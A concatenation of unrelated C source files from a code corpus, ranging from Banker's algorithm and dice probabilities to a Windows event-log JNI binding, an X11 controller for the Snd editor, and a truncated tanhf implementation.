else (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ;
case '\n' : if (last==1) { puts(""); last=0; } break;
case '(' : if (para++>0) (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; break;
case ')' : if (para-->1) (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ;
else (__us_rsthread_stdio ? __semputc((' '), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((' ')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((' '))))) ;
last=1; break;
case '\\' : if (para>0)
switch(ch=fgetc(source))
{
case '(' :
case ')' : (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; break;
case 't' : (__us_rsthread_stdio ? __semputc(('\t'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\t')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\t'))))) ; break;
case 'n' : (__us_rsthread_stdio ? __semputc(('\n'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\n')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\n'))))) ; break;
case '\\': (__us_rsthread_stdio ? __semputc(('\\'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\\')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\\'))))) ; break;
case '0' : case '1' : case '2' : case '3' :
case '4' : case '5' : case '6' : case '7' :
(__us_rsthread_stdio ? __semputc(('\\'), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf((('\\')), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)(('\\'))))) ;
default: (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ; break;
}
break;
default: if (para>0) (__us_rsthread_stdio ? __semputc((ch), (&__iob[1])) : (--( (&__iob[1]))->_cnt < 0 ? __flsbuf(((ch)), ( (&__iob[1]))) : (int)(*( (&__iob[1]))->_ptr++ = (unsigned char)((ch))))) ;
}
}
}
|
the_stack_data/148156.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
char** split(char* input) {
char** result = malloc(10*sizeof(char*));
result[0] = input;
int j = 1;
for (int i=0; i<strlen(input); i++) {
if (input[i] == ' ') {
input[i] = '\x00';
result[j] = input+i+1;
j++;
}
}
return result;
}
int getInputAndRun() {
char input[100];
printf("Put string to split: ");
fgets(input, 100, stdin);
if (strcmp(input, "exit") == 0) return -1;
else {
char** result = split(input);
*result[0] = toupper(result[0][0]);
*result[1] = toupper(result[1][0]);
printf("First str: %s\n", result[0]);
printf("Second str: %s\n", result[1]);
return 0;
}
}
int main() {
while (1) {
if (getInputAndRun() == -1) break;
}
return 0;
}
|
the_stack_data/66029.c | /*
* Copyright (c) 2004-2007, 2009 Hyperic, Inc.
* Copyright (c) 2009-2010 VMware, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifdef _WIN32
#define UNICODE
#define _UNICODE
#include "javasigar.h"
#include "win32bindings.h"
#define MAX_MSG_LENGTH 8192
#define MAX_ERROR_LENGTH 1024
#define REG_MSGFILE_ROOT L"SYSTEM\\CurrentControlSet\\Services\\EventLog\\"
#define FILESEP L";"
#define STRING_SIG "Ljava/lang/String;"
#define UNICODE_SetStringField(field, str) \
id = JENV->GetFieldID(env, cls, field, STRING_SIG); \
value = JENV->NewString(env, (const jchar *)str, wcslen(str)); \
JENV->SetObjectField(env, obj, id, value)
#define ARRLEN(arr) (sizeof(arr) / sizeof(arr[0]))
static void win32_set_pointer(JNIEnv *env, jobject obj, const void *ptr)
{
jfieldID pointer_field;
int pointer_int;
jclass cls;
cls = JENV->GetObjectClass(env, obj);
pointer_field = JENV->GetFieldID(env, cls, "eventLogHandle", "I");
pointer_int = (int)ptr;
JENV->SetIntField(env, obj, pointer_field, pointer_int);
}
static HANDLE win32_get_pointer(JNIEnv *env, jobject obj)
{
jfieldID pointer_field;
HANDLE h;
jclass cls;
cls = JENV->GetObjectClass(env, obj);
pointer_field = JENV->GetFieldID(env, cls, "eventLogHandle", "I");
h = (HANDLE)JENV->GetIntField(env, obj, pointer_field);
if (!h) {
win32_throw_exception(env, "Event log not opened");
}
return h;
}
static int get_messagefile_dll(LPWSTR app, LPWSTR source, LPWSTR entry, LPWSTR dllfile)
{
HKEY hk;
WCHAR buf[MAX_MSG_LENGTH];
DWORD type, data = sizeof(buf);
LONG rc;
wcscpy(buf, REG_MSGFILE_ROOT);
wcscat(buf, app);
wcscat(buf, L"\\");
wcscat(buf, source);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buf,
0, KEY_READ, &hk);
if (rc) {
return rc;
}
rc = RegQueryValueEx(hk, entry, NULL, &type,
(LPBYTE)buf, &data);
if (rc) {
RegCloseKey(hk);
return rc;
}
wcsncpy(dllfile, buf, MAX_MSG_LENGTH);
dllfile[MAX_MSG_LENGTH-1] = '\0';
RegCloseKey(hk);
return ERROR_SUCCESS;
}
static int get_formatted_message(EVENTLOGRECORD *pevlr,
DWORD id,
LPWSTR dllfile,
LPWSTR msg)
{
LPVOID msgbuf = NULL;
WCHAR msgdll[MAX_MSG_LENGTH];
LPWSTR insert_strs[56], ptr;
int i, max = ARRLEN(insert_strs);
const DWORD flags =
FORMAT_MESSAGE_FROM_HMODULE |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_ARGUMENT_ARRAY |
FORMAT_MESSAGE_MAX_WIDTH_MASK;
if (!ExpandEnvironmentStrings(dllfile, msgdll, ARRLEN(msgdll))) {
return GetLastError();
}
memset(insert_strs, '\0', sizeof(insert_strs));
if (pevlr) {
ptr = (LPWSTR)((LPBYTE)pevlr + pevlr->StringOffset);
for (i = 0; i < pevlr->NumStrings && i < max; i++) {
insert_strs[i] = ptr;
ptr += wcslen(ptr) + 1;
}
}
wchar_t* buffor;
ptr = wcstok(msgdll, FILESEP,&buffor);
while (ptr) {
HINSTANCE hlib;
hlib = LoadLibraryEx(ptr, NULL,
LOAD_LIBRARY_AS_DATAFILE);
if (hlib) {
FormatMessage(flags,
hlib,
id,
MAKELANGID(LANG_NEUTRAL, SUBLANG_ENGLISH_US),
(LPWSTR) &msgbuf,
sizeof(msgbuf), //min bytes w/ FORMAT_MESSAGE_ALLOCATE_BUFFER
(va_list *)insert_strs);
FreeLibrary(hlib);
if (msgbuf) {
break;
}
}
ptr = wcstok(NULL, FILESEP,&buffor);
}
if (msgbuf) {
wcsncpy(msg, msgbuf, MAX_MSG_LENGTH);
msg[MAX_MSG_LENGTH-1] = '\0';
LocalFree(msgbuf);
return ERROR_SUCCESS;
}
else {
return !ERROR_SUCCESS;
}
}
static int get_formatted_event_message(EVENTLOGRECORD *pevlr, LPWSTR name, LPWSTR source, LPWSTR msg)
{
WCHAR dllfile[MAX_MSG_LENGTH];
if (get_messagefile_dll(name, source, L"EventMessageFile", dllfile) != ERROR_SUCCESS) {
return !ERROR_SUCCESS;
}
return get_formatted_message(pevlr, pevlr->EventID, dllfile, msg);
}
static int get_formatted_event_category(EVENTLOGRECORD *pevlr, LPWSTR name, LPWSTR source, LPWSTR msg)
{
WCHAR dllfile[MAX_MSG_LENGTH];
if (get_messagefile_dll(name, source, L"CategoryMessageFile", dllfile) != ERROR_SUCCESS) {
return !ERROR_SUCCESS;
}
return get_formatted_message(NULL, pevlr->EventCategory, dllfile, msg);
}
JNIEXPORT void SIGAR_JNI(win32_EventLog_openlog)
(JNIEnv *env, jobject obj, jstring lpSourceName)
{
HANDLE h;
LPWSTR name;
name = (LPWSTR)JENV->GetStringChars(env, lpSourceName, NULL);
h = OpenEventLog(NULL, name);
if (h == NULL) {
char buf[MAX_ERROR_LENGTH];
DWORD lastError = GetLastError();
sprintf(buf, "Unable to open event log: %d", lastError);
JENV->ReleaseStringChars(env, lpSourceName, name);
win32_throw_exception(env, buf);
return;
}
JENV->ReleaseStringChars(env, lpSourceName, name);
/* Save the handle for later use */
win32_set_pointer(env, obj, h);
}
JNIEXPORT void SIGAR_JNI(win32_EventLog_close)
(JNIEnv *env, jobject obj)
{
HANDLE h = win32_get_pointer(env, obj);
CloseEventLog(h);
win32_set_pointer(env, obj, NULL);
}
JNIEXPORT jint SIGAR_JNI(win32_EventLog_getNumberOfRecords)
(JNIEnv *env, jobject obj)
{
DWORD records;
HANDLE h = win32_get_pointer(env, obj);
if (!GetNumberOfEventLogRecords(h, &records)) {
win32_throw_last_error(env);
return 0;
}
return records;
}
JNIEXPORT jint SIGAR_JNI(win32_EventLog_getOldestRecord)
(JNIEnv *env, jobject obj)
{
DWORD oldest;
HANDLE h = win32_get_pointer(env, obj);
if (!GetOldestEventLogRecord(h, &oldest)) {
win32_throw_last_error(env);
return 0;
}
return oldest;
}
JNIEXPORT jobject SIGAR_JNI(win32_EventLog_readlog)
(JNIEnv *env, jobject obj, jstring jname, jint recordOffset)
{
EVENTLOGRECORD *pevlr;
BYTE buffer[8192];
WCHAR msg[MAX_MSG_LENGTH];
DWORD dwRead, dwNeeded;
LPWSTR source, machineName;
HANDLE h;
BOOL rv;
jclass cls = WIN32_FIND_CLASS("EventLogRecord");
jfieldID id;
jstring value;
LPWSTR name;
BOOL has_category = FALSE; /* 1.6.x compat */
h = win32_get_pointer(env, obj);
pevlr = (EVENTLOGRECORD *)&buffer;
rv = ReadEventLog(h,
EVENTLOG_SEEK_READ | EVENTLOG_FORWARDS_READ,
recordOffset,
pevlr,
sizeof(buffer),
&dwRead,
&dwNeeded);
if (!rv) {
char buf[MAX_ERROR_LENGTH];
DWORD lastError = GetLastError();
if (lastError == ERROR_INSUFFICIENT_BUFFER) {
/* XXX need to handle this */
sprintf(buf, "Buffer size (%d) too small (%d needed)",
sizeof(buffer), dwNeeded);
}
else {
sprintf(buf, "Error reading from the event log: %d", lastError);
}
win32_throw_exception(env, buf);
return NULL;
}
obj = JENV->AllocObject(env, cls);
SIGAR_CHEX;
id = JENV->GetFieldID(env, cls, "recordNumber", "J");
JENV->SetLongField(env, obj, id, pevlr->RecordNumber);
id = JENV->GetFieldID(env, cls, "timeGenerated", "J");
JENV->SetLongField(env, obj, id, pevlr->TimeGenerated);
id = JENV->GetFieldID(env, cls, "timeWritten", "J");
JENV->SetLongField(env, obj, id, pevlr->TimeWritten);
id = JENV->GetFieldID(env, cls, "eventId", "J");
JENV->SetLongField(env, obj, id, pevlr->EventID);
id = JENV->GetFieldID(env, cls, "eventType", "S");
JENV->SetShortField(env, obj, id, pevlr->EventType);
if (!JENV->ExceptionCheck(env)) { /* careful not to clear any existing exception */
id = JENV->GetFieldID(env, cls, "category", "S");
if (JENV->ExceptionCheck(env)) {
/* older version of sigar.jar being used with sigar.dll */
JENV->ExceptionClear(env);
}
else {
has_category = TRUE;
JENV->SetShortField(env, obj, id, pevlr->EventCategory);
}
}
/* Extract string data from the end of the structure. Lame. */
source = (LPWSTR)((LPBYTE)pevlr + sizeof(EVENTLOGRECORD));
UNICODE_SetStringField("source", source);
name = (LPWSTR)JENV->GetStringChars(env, jname, NULL);
/* Get the formatted message */
if ((pevlr->NumStrings > 0) &&
(get_formatted_event_message(pevlr, name, source, msg) == ERROR_SUCCESS))
{
UNICODE_SetStringField("message", msg);
}
else if (pevlr->NumStrings > 0) {
LPWSTR tmp = (LPWSTR)((LPBYTE)pevlr + pevlr->StringOffset);
UNICODE_SetStringField("message", tmp);
}
/* Get the formatted category */
if (has_category &&
(get_formatted_event_category(pevlr, name, source, msg) == ERROR_SUCCESS))
{
UNICODE_SetStringField("categoryString", msg);
}
JENV->ReleaseStringChars(env, jname, name);
/* Increment up to the machine name. */
machineName = (LPWSTR)((LPBYTE)pevlr + sizeof(EVENTLOGRECORD) +
(wcslen(source) + 1) * sizeof(WCHAR));
UNICODE_SetStringField("computerName", machineName);
/* Get user id info */
if (pevlr->UserSidLength > 0) {
WCHAR name[256];
WCHAR domain[256];
DWORD namelen = ARRLEN(name);
DWORD domainlen = ARRLEN(domain);
DWORD len;
SID_NAME_USE snu;
PSID sid;
sid = (PSID)((LPBYTE)pevlr + pevlr->UserSidOffset);
if (LookupAccountSid(NULL, sid, name, &namelen, domain,
&domainlen, &snu)) {
UNICODE_SetStringField("user", name);
}
}
return obj;
}
JNIEXPORT void SIGAR_JNI(win32_EventLog_waitForChange)
(JNIEnv *env, jobject obj, jint timeout)
{
HANDLE h, hEvent;
DWORD millis;
h = win32_get_pointer(env, obj);
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (hEvent == NULL) {
win32_throw_exception(env, "Unable to create event");
return;
}
if (timeout == -1)
millis = INFINITE;
else
millis = timeout;
if(!(NotifyChangeEventLog(h, hEvent))) {
char buf[MAX_ERROR_LENGTH];
sprintf(buf, "Error registering for event log to change: %d",
GetLastError());
win32_throw_exception(env, buf);
return;
}
if (WaitForSingleObject(hEvent, millis) == WAIT_FAILED)
{
char buf[MAX_ERROR_LENGTH];
sprintf(buf, "Error waiting for event log change: %d",
GetLastError());
win32_throw_exception(env, buf);
}
return;
}
#endif /* WIN32 */
|
the_stack_data/187644248.c | #define NUM_ROOMS 4
#define NUM_CHOICES 3
struct room
{
unsigned char *desc;
unsigned char leadsTo[NUM_CHOICES];
};
extern unsigned char room0_desc[];
extern unsigned char room1_desc[];
extern unsigned char room2_desc[];
extern unsigned char room3_desc[];
const struct room rooms[NUM_ROOMS] = {
{ room0_desc, { 1,2,3 } },
{ room1_desc, { 1,2,3 } },
{ room2_desc, { 1,2,3 } },
{ room3_desc, { 0,0,0 } }
};
unsigned char room0_desc[] = "room0\n";
unsigned char room1_desc[] = "room1\n";
unsigned char room2_desc[] = "room2\n";
unsigned char room3_desc[] = "room3\n";
|
the_stack_data/168893129.c | // Each According to their Need , Each According to their ability.
/*
* BANKER'S ALGORITHM => it's a resource allocation and deadlock avoidance algorithm in operating systems.
* n = processes in system
* m = number of resources types
* Banker's Algorithm consists of safety algo and Resource Request Algo.
*
* SAFETY ALGORITHM
* How to find out whether system is in a s-state(safe state) or not:?
* 1. Let work and Finish be vectors of length m and n respectively:
* initialize: Work = Avaiable
* Finish[i] =false; for i=1,2,3,4...n (i is index)
*
* 2. Find an i such that both
* a. Finish[i] = False
* b. Need(i) <= Work
* if no such i exists goto step(4)
*
* 3. Work = Work + Allocation[i]
* Finish[i] = true
* goto step (2)
*
* 4. if Finish[i] = true or all i then the system is in a safe state
*
* RESOURCE REQUEST ALGORITHM.
* Request<i> be request array for Process P<i>
* Request<i>[j] = K means processP<i> wants k instances of resource type R<j>
* SO BASICALLY WHEN A REQUEST FOR RESOURCES IS MADE BY PROCESS P<i> , following actions will take place:
*
*
* 1. Request<i> <= Need<i>
* Goto Step (2); otherwise raise an error condition;
* since the process has exceeded it's maximum claim.
*
* 2. if Request<i> <= Avaiable
* Goto step(3); otherwise P<i> must wait, since the resources are not available
*
* 3. Have the system pretend to have allocated the requested to process P<i> by modifying the state as follows:
* Avaiable = Available - Request<i>
* Allocation<i> = Allocation<i> + Request<i>
* Need<i> = Need<i> - Request<i>
* */
/* Algo in Working
*
* Process | Allocation | Max | Avaiable |
* ____________|____A B C____| A B C __|____A B_ C___|
* P<0> | 0 1 0 | 7 5 3 | |
* | | | 3 3 2 |
P<1> | 2 0 0 | 3 2 2 | |
* | | | |
* P<2> | 3 0 2 | 9 0 2 | |
* | | | |
* P<3> | 2 1 1 | 2 2 2 | |
* | | | |
*_____P<4>______|___0_ 0__2____|_4_3_3____|_______________|
*
*
*
*
*
* Need[i, j] = Max[i,j] - Allocation[i,j]
*
* Need Matrix
*
* P<0> 7 4 3
* P<1> 1 2 2
* P<2> 6 0 0
* P<3> 0 1 1
* P<4> 4 3 1
*
* find out safe state:
* Step 1.
* m = 3, n=5
* Work = Avaiable
*
* Work = 3 3 2
* ----------------------------|---|
* Finish = false false false false false
* 0 1 2 3 4
*
*
* Step 2.
* for i=0;
* Need<0> = 7 4 3
* Work = 3 3 2
* Need<0> > Work
*
* Finish is false So P<0> must wait
*
*
* for i=1;
* Need<1> = 1 2 2
* Work = 3 2 2
* Need<1> < Work
*
* Finish is false
* P<1> must be kept in safe squence
*
* Work = Work + Allocation<1>
* Work = 5 3 2
*
* Finish = False True False False False
*
*
* for i=2;
* Need<2> = 6 0 0
* Work = 5 3 2
*
* Need<2> > Work
*
* Finish is false and So P<2> must wait
*
* for i=3;
* Need<3> = 0 1 1
* Work > Need<3>
*
* Finish is True and P<3> must be kept in safe squence
*
*
* New Work
* = 5 3 2 + Allocation<3>
*
* Work = 7 4 3
*
* Finish = false True false True false
*
*
* for i = 4;
* Need<4> = 4 3 1
* Work > Need<4>
*
* Finish is True and P<4> must be kept in safe squence
*
* New Work =
* 7 4 3 + Allocation<4>
* Work = 7 4 5
*
* Finish = false true false true true
*
* for i=0;
* Need<0> = 7 4 3
*
* Work > Need<0>
*
* Finish is True and P<0> must be in safe squence
*
* New Work = 7 4 5 + Allocation<0>
* Work = 7 5 5
*
* for i=2;
*
* Need<2> = 6 0 0
* Work > Need<0>
*
* Finish is True and P<2> must be in safe squence
*
* New Work = Work + Allocation<2>
* 10 5 7
*
*
* Finish[i] = true for 0<=i<=n;
* Hence the system in safe state
*
* S-Sq = P1, P3, P4, P0, P2
*
*-----------------------------------------------------------------------------
* First initialize with work = avaiable, then if need > work then Finish is false and Process must be wait
* otherwise if
* work > need
* then Finish is True and
* Process must be in safe squence
*
* New Work after every True in Finish index
* New Work = Work + Allocation<n>
*
*-----------------------------------------------------------------------------
* What will happen if process P1 requests one additional instance of resource
* type A and two instances of resource type C?
*
* Use Resource Request Algorithm:
* if request<i> <= Need<i>:
* then if request<i> <= Available<i>
* then
* Avaiable = Avaiable - Request<i>
* Allocation<i> = Allocation<i> + Request<i>
* Need<i> = Need<i> - Request<i>
*
*
* TO DECIDE WHETHER THE REQUEST IS GRANTED WE USE :
* Request<i> < Need<i>
* Request<i> < Avaiable
*
*
*
* Let's code in C
*
* */
#include <stdio.h>
int main(){
// P0, P1, P2,P3, P4 are the processes
int n,m,i,j,k;
n = 5; // number of processes
m = 3 ; // type of resources
int alloc[5][3] = { { 0,1,0 }, //Allocation Matrix
{2,0,0},
{ 3,0,0 },
{ 2,1,1 },
{ 0, 0, 2 }
};
int max[5][3] = { { 7, 5, 3 }, // MAX Matrix
{ 3, 2, 2 },
{ 9, 0, 2 },
{ 2 , 2, 2 },
{ 4, 3, 3 }
};
int avail[3] = { 3,2, 2 }; // Avaiable Resources
int f[n], ans[n], ind = 0;
for (k=0; k<n; k++){
f[k] = 0;
}
int need[n][m];
for (i=0;i<n;i++){
for (j=0;j<m;j++){
need[i][j] = max[i][j] - alloc[i][j];
}
}
int y =0;
for (k=0;k<5;k++){
for (i=0;i<n;i++){
if (f[i] == 0){
int flag = 0;
for (j=0;j<m;j++){
if(need[i][j] > avail[j]){
flag = 1;
break;
}
}
if (flag==0){
ans[ind++] = i;
for (y=0;y<m;y++){
avail[y] += alloc[i][y];
}
f[i] = 1;
}
}
}
}
printf("Safe Squence : \n");
for (i=0;i<n-1;i++)
printf("P%d ->", ans[i]);
printf("P%d", ans[n-1]);
return 0;
}
|
the_stack_data/99423.c | #include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <errno.h>
#include <glob.h>
#define BUFSIZE 100
void show(const char *path);
int main(int argc, char *argv[])
{
struct stat statres;
if (argc < 2)
return 1;
if (stat(argv[1], &statres) == -1)
{
perror("stat()");
return 1;
}
if (!S_ISDIR(statres.st_mode))
{
printf("size:%ld\n", statres.st_size);
return 0;
}
else
{
show(argv[1]);
}
return 0;
}
void show(const char *path)
{
struct stat statres;
glob_t glb;
char buf[BUFSIZE] = {};
char *p;
if (stat(path, &statres) == -1)
{
perror("stat()");
return ;
}
if (!S_ISDIR(statres.st_mode))
{
printf("%ld %s\n", statres.st_size, path); //这里求出来的字节个数不对
return ;
}
snprintf(buf, BUFSIZE, "%s/*", path);
if(glob(buf, 0, NULL, &glb) != 0)
return ;
memset(buf, '\0', BUFSIZE);
snprintf(buf, BUFSIZE, "%s/.*", path);
if(glob(buf, GLOB_APPEND, NULL, &glb) != 0)
return ;
for (int i = 0; i < (int)glb.gl_pathc; i++)
{
p = strrchr(glb.gl_pathv[i], '/');
if (p != NULL)
{
if (strcmp(p+1, ".") == 0 || strcmp(p+1, "..") == 0)
continue;
}
show(glb.gl_pathv[i]);
}
}
|
the_stack_data/242331840.c | #include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <string.h>
int
main()
{
/* calc possible ways to roll 3d6 */
double sum_arr[16]; /* 3-18 -> 0-15 */
double acc;
memset(sum_arr, 0, 16);
acc = 0;
for (int d0=1; d0<=6; ++d0)
for (int d1=1; d1<=6; ++d1)
for (int d2=1; d2<=6; ++d2)
sum_arr[(d0+d1+d2)-3] += 1;
for (int num=3; num<=18; ++num)
{
int dex = num-3;
double per = sum_arr[dex]/pow(6,3);
printf("%d:\t%.0lf\t%lf\t%lf\n",
num,
sum_arr[dex],
per,
(acc += per));
}
return EXIT_SUCCESS;
}
|
the_stack_data/72011670.c | exit(n) { _cleanup(); _exit(n); }
|
the_stack_data/79165.c | #include <stdlib.h>
/* PR c/37924 */
extern void abort (void);
signed char a;
unsigned char b;
int
test1 (void)
{
int c = -1;
return ((unsigned int) (a ^ c)) >> 9;
}
int
test2 (void)
{
int c = -1;
return ((unsigned int) (b ^ c)) >> 9;
}
int main (void)
{
a = 0;
if (test1 () != (-1U >> 9))
abort ();
a = 0x40;
if (test1 () != (-1U >> 9))
abort ();
a = 0x80;
if (test1 () != (a < 0) ? 0 : (-1U >> 9))
abort ();
a = 0xff;
if (test1 () != (a < 0) ? 0 : (-1U >> 9))
abort ();
b = 0;
if (test2 () != (-1U >> 9))
abort ();
b = 0x40;
if (test2 () != (-1U >> 9))
abort ();
b = 0x80;
if (test2 () != (-1U >> 9))
abort ();
b = 0xff;
if (test2 () != (-1U >> 9))
abort ();
return 0;
}
|
the_stack_data/6724.c | #include <stdio.h>
struct sss{
int i1:30;
int i2:15;
int i3:26;
};
static union u{
struct sss sss;
unsigned char a[sizeof (struct sss)];
} u;
int main (void) {
int i;
for (i = 0; i < sizeof (struct sss); i++)
u.a[i] = 0;
u.sss.i1 = 1073741823.0;
for (i = 0; i < sizeof (struct sss); i++)
printf ("%x ", u.a[i]);
printf ("\n");
u.sss.i2 = 32767.0;
for (i = 0; i < sizeof (struct sss); i++)
printf ("%x ", u.a[i]);
printf ("\n");
u.sss.i3 = 67108863.0;
for (i = 0; i < sizeof (struct sss); i++)
printf ("%x ", u.a[i]);
printf ("\n");
return 0;
}
|
the_stack_data/3262234.c | #include <stdio.h>
int main() {
int a, b;
printf("Choose the two number to be added:\n");
scanf("%d %d", &a, &b);
printf("The result is %d\n", (a+b));
return 0;
}
|
the_stack_data/796564.c | /* sndctrl shows how to send a running Snd program a command through X */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/Xatom.h>
#define SND_VERSION "SND_VERSION"
#define SND_COMMAND "SND_COMMAND"
static Window compare_window(Display *display, Window window, char *id)
{
Atom type;
int format;
unsigned long nitems, bytesafter;
unsigned char *version[1];
Window found=(Window)None;
if (((XGetWindowProperty(display, window, XInternAtom (display, id, False), 0L, (long)BUFSIZ, False,
XA_STRING, &type, &format, &nitems, &bytesafter, (unsigned char **)version)) == Success) && (type != None))
{
found = window;
if (version[0]) XFree((char *)(version[0]));
}
return(found);
}
static Window find_window(Display *display, Window starting_window, char *name, Window (*compare_func)())
{
Window rootwindow, window_parent;
int i = 0;
unsigned int num_children = 0;
Window *children = NULL;
Window window = (compare_func)(display, starting_window, name);
if (window != (Window)None)return (window);
if ((XQueryTree(display, starting_window, &rootwindow, &window_parent, &children, &num_children)) == 0) return ((Window)None);
while ((i < num_children) && (window == (Window)None))
window = find_window(display, children[i++], name, compare_func);
if (children) XFree((char *)children);
return(window);
}
static void send_snd(Display *dpy, char *command)
{
Window window;
if ((window = find_window(dpy, DefaultRootWindow(dpy), SND_VERSION, compare_window)))
{
XChangeProperty(dpy, window, XInternAtom(dpy, SND_COMMAND, False), XA_STRING, 8, PropModeReplace, (unsigned char *)command, strlen(command)+1);
XFlush(dpy);
}
}
static void send_snd_char(Display *dpy, Window window, int keycode, int state)
{
/* this sends Snd a key event */
XKeyEvent event;
int status;
event.type = KeyPress;
event.display = dpy;
event.window = window;
event.root = RootWindow(dpy, DefaultScreen(dpy));
event.keycode = keycode;
event.state = state;
event.time = CurrentTime;
event.same_screen = True;
event.x = 0;
event.y = 0;
event.x_root = 0;
event.y_root = 0;
event.subwindow = (Window)None;
status = XSendEvent(dpy, window, False, KeyPressMask, (XEvent *)(&event));
if (status != 0)
{
event.type = KeyRelease;
event.time = CurrentTime;
XSendEvent(dpy, window, True, KeyReleaseMask, (XEvent *)(&event));
}
}
int main(int argc, char **argv)
{
Display *dpy;
dpy = XOpenDisplay(NULL);
send_snd(dpy, "(snd-print \"hiho\")");
}
/* cc sndctrl.c -g -o sndctrl -L/usr/X11R6/lib -lX11 */
#if 0
/*
Window window;
dpy = XOpenDisplay(NULL);
if ((window = find_window(dpy, DefaultRootWindow(dpy), SND_VERSION, compare_window)))
{
send_snd_char(dpy, window, XKeysymToKeycode(dpy, XK_greater), ShiftMask | Mod1Mask);
XFlush(dpy);
}
*/
#endif
|
the_stack_data/243892317.c | #include<stdio.h>
#include <sys/types.h>
#include<unistd.h>
#include<stdlib.h>
#include <sys/wait.h>
int main(int argc ,char** argv)
{
//Checking for valid input
if(argc != 2)
{
printf("Invalid Input\n");
}
char* c = argv[1];
int t = atoi(c);
//Creating new process and pid holds the child process id in parent process and
//0 in child process
pid_t pid = fork();
if(pid<0)
{
printf("Child Process can't be created\n");
return 0;
}
//If pid == 0 child process
if(pid==0)
{
//make child process for t second
sleep(t);
//getppid() gets process id of parent
pid_t curid= getpid();
printf("child Process ID is %d\n",curid);
//Listing process inside child process
system("ps");
}
else //Block for parent process
{
printf("Parent Process id is %d\n",getpid());
//Listing process inside child process
system("ps");
wait(NULL);
// pid holds child process
printf("Parent Process id is %d\n",getpid());
//Listing process inside child process
system("ps");
}
} |
the_stack_data/154829239.c | #include <stdio.h>
#include <stdlib.h>
void merge(int *p,int *pt,int *ptr,int n,int m,int j)
{
int i,k;
for(i=0;i<n;i++)
*(ptr+i)=*(p+i);
for(i=0,k=n;k<j && i<m;i++,k++)
*(ptr+k)=*(pt+i);
//Array1
printf("Array 1\n");
for(i=0;i<n;i++)
printf("%d\n",*(p+i));
//Array2
printf("Array 2\n");
for(i=0;i<m;i++)
printf("%d\n",*(pt+i));
//Merged array
printf("Merged array\n");
for(i=0;i<j;i++)
printf("%d\n",*(ptr+i));
}
int main() {
int n,m,i,j,k,*p,*pt,*ptr;
printf("Enter the number of elements for array 1\n");
scanf("%d",&n);
printf("Enter the number of elements for array 2\n");
scanf("%d",&m);
p=(int *)malloc(n*sizeof(int));
pt=(int *)malloc(m*sizeof(int));
ptr=(int *)malloc((n+m)*sizeof(int));
printf("Enter the elements for array 1\n");
for(i=0;i<n;i++)
scanf("%d",p+i);
printf("Enter the elements for array 2\n");
for(i=0;i<n;i++)
scanf("%d",pt+i);
j=m+n;
merge(p,pt,ptr,n,m,j);
return 0;
}
|
the_stack_data/513865.c | /*
* POK header
*
* The following file is a part of the POK project. Any modification should
* be made according to the POK licence. You CANNOT use this file or a part
* of a file for your own project.
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2022 POK team
*/
/* s_tanhf.c -- float version of s_tanh.c.
* Conversion to float by Ian Lance Taylor, Cygnus Support, [email protected].
*/
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
#ifdef POK_NEEDS_LIBMATH
#include "math_private.h"
#include <libm.h>
static const float one = 1.0, two = 2.0, tiny = 1.0e-30;
float tanhf(float x) {
float t, z;
int32_t jx, ix;
GET_FLOAT_WORD(jx, x);
ix = jx & 0x7fffffff;
/* x is INF or NaN */
if (ix >= 0x7f800000) {
if (jx >= 0)
